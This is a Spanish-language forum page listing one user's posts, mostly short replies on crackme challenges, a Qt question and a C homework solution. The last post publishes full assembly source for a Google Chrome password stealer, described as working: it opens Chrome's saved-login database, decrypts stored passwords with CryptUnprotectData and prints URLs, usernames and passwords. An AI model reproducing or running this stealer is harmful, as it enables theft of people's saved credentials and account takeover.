Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fary

#471
Bonito a la vez que tenebroso  :P
#473
Ingeniería Inversa / Re: [RETO] Febrero 2016
26 Enero 2016, 09:57 AM
Cita de: apuromafo en 26 Enero 2016, 03:59 AM
1- A.ZIP: Nivel 1.
http://crackmes.de/users/damiok/firstcrackme/
_> mi solución http://crackmes.de/users/damiok/firstcrackme/solutions/apuromafo


porque no colocan las fuentes originales?

Hola apuromafo, no es por nada en especial, simplemente no caí en el momento.

La fuente es crackmes.de, como bien sabes.

saludos!!
#475
Programación C/C++ / Re: Problema con qt
25 Enero 2016, 15:24 PM
Las imágenes están en la carpeta del proyecto?
#476
El teclado de los médicos es este.




:laugh: :laugh: :laugh: :laugh:
#477
Hola,

Esta es tu tarea con lo cual la tienes que hacer tu...

¿Hay alguna parte en el código que no entiendas? Con eso si te puedo ayudar.

saludos.

PD: Eso es C, no C++.
#478
En los temas pegados tienes muchas respestas:

foro.elhacker.net/programacion_visual_basic/rddddecopilacion_de_enlaces_de_visual_basic-t68352.0.html

saludos.
#479
Aquí tienes tu solución, intenta usar las etiquetas para poner código, es mucho mas fácil leerlo...  :xD

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void DuplicaLetraEnCadena(char * Cadena, char Letra);

int main()
{
   char cadena[255];
   char letra;

   printf("Introduce una frase: ");
   fgets(cadena, 255, stdin);

   printf("Introduce la letra a duplicar: ");
   scanf("%c",&letra);

   DuplicaLetraEnCadena(cadena, letra);
   return 0;
}

void DuplicaLetraEnCadena(char * Cadena, char Letra)
{
   int i;

   for (i = 0; i < strlen(Cadena); i++)
   {
       if(Cadena[i] == Letra)
       {
           printf("%c%c", Cadena[i], Cadena[i]);
       }else{
           printf("%c", Cadena[i]);
       }
   }
}


saludos.
#480
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código (asm) [Seleccionar]
; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.

format PE Console 4.0
entry start
include 'win32ax.inc'

section '.data' data readable writeable
       ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
       query        db 'SELECT origin_url, username_value, password_value FROM logins',0

       bd           dd ?
       stmt         dd ?

       URL          db 'URL: %s',10,13,0
       Usuario      db 'Usuario: %s',10,13,0
       PASS         db 'PASS: %s',10,13,0

       struct DATA_BLOB
              cbData   dd ?
              pbData   dd ?
       ends

       datain      DATA_BLOB
       dataout     DATA_BLOB

       buffer      rb 255

       barra       db '-----------------------------------------------------',10,13,0

       BufferRuta  rb 512
       APPDATA     db 'APPDATA',0

section '.code' code readable executable
start:
       invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
       invoke lstrcat, BufferRuta, ruta

       cinvoke sqlite3_open, BufferRuta, bd
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

       cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
       cmp eax, 0 ; eax = SQLITE_OK
       jne salir

   BuclePass:
       cinvoke sqlite3_step, [stmt]
       cmp eax, 100 ; eax = SQLITE_ROW
       jne salir

       cinvoke printf,barra

       cinvoke sqlite3_column_text , [stmt], 0  ; URL
       cinvoke printf,URL,eax

       cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
       cinvoke printf,Usuario,eax

       cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña

       mov [datain.pbData], eax
       mov [datain.cbData], 512

       invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout

       mov ecx, -1
    BucleNull:
       mov edx, [dataout.pbData]
       inc ecx

       cmp byte[edx+ecx],0x08
       jne BucleNull

       mov byte[edx+ecx],0

       cinvoke printf, PASS, [dataout.pbData]

       cinvoke printf,barra

       jmp BuclePass

       salir:
       cinvoke system,'PAUSE'
       ret

section '.idata' import data readable writeable

       library  sqlite3, 'sqlite3.dll',\
                msvcrt, 'msvcrt.dll',\
                Crypt32, 'Crypt32.dll',\
                KERNEL32, 'KERNEL32.DLL'

       import sqlite3,\
              sqlite3_open, 'sqlite3_open',\
              sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
              sqlite3_column_text, 'sqlite3_column_text',\
              sqlite3_step, 'sqlite3_step'

       import msvcrt,\
              printf, 'printf',\
              memcpy,'memcpy',\
              system, 'system'

       import Crypt32,\
              CryptUnprotectData, 'CryptUnprotectData'

       import KERNEL32,\
              GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
              lstrcat, 'lstrcatA'


saludos.